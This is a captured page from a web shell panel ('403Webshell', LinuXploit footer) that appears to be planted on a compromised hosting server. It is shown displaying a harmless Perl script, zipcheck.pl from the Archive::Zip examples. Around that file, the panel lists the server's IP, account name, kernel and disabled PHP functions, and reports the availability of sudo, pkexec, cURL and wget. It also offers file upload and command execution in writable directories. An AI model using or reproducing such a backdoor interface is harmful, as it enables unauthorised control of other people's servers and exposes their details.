403Webshell
Server IP : 77.68.64.21  /  Your IP : 216.73.217.105
Web Server : Apache
System : Linux hp3-wp-1011378.hostingp3.local 3.10.0-1160.144.1.el7.tuxcare.els9.x86_64 #1 SMP Fri Jul 10 17:06:31 UTC 2026 x86_64
User : csh2668128 ( 2112425)
PHP Version : 8.1.34
Disable Function : shell_exec,exec,system,popen,set_time_limit
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/perl-Archive-Zip-1.30/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/perl-Archive-Zip-1.30/examples/zipcheck.pl
#!/usr/bin/perl -w
# usage: valid zipname.zip
# exits with non-zero status if invalid zip
# status = 1: invalid arguments
# status = 2: generic error somewhere
# status = 3: format error
# status = 4: IO error
use strict;
use Archive::Zip qw(:ERROR_CODES);
use IO::Handle;
use File::Spec;

# instead of stack dump:
Archive::Zip::setErrorHandler( sub { warn shift() } );

my $nullFileName = File::Spec->devnull();
my $zip = Archive::Zip->new();
my $zipName = shift(@ARGV) || exit 1;
eval
{
	my $status = $zip->read( $zipName );
	exit $status if $status != AZ_OK;
};
if ($@) { warn 'error reading zip:', $@, "\n"; exit 2 }

eval
{
	foreach my $member ($zip->members)
	{
		my $fh = IO::File->new();
		$fh->open(">$nullFileName") || die "can't open $nullFileName\: $!\n";
		my $status = $member->extractToFileHandle($fh);
		if ($status != AZ_OK)
		{
			warn "Extracting ", $member->fileName(), " from $zipName failed\n";
			exit $status;
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit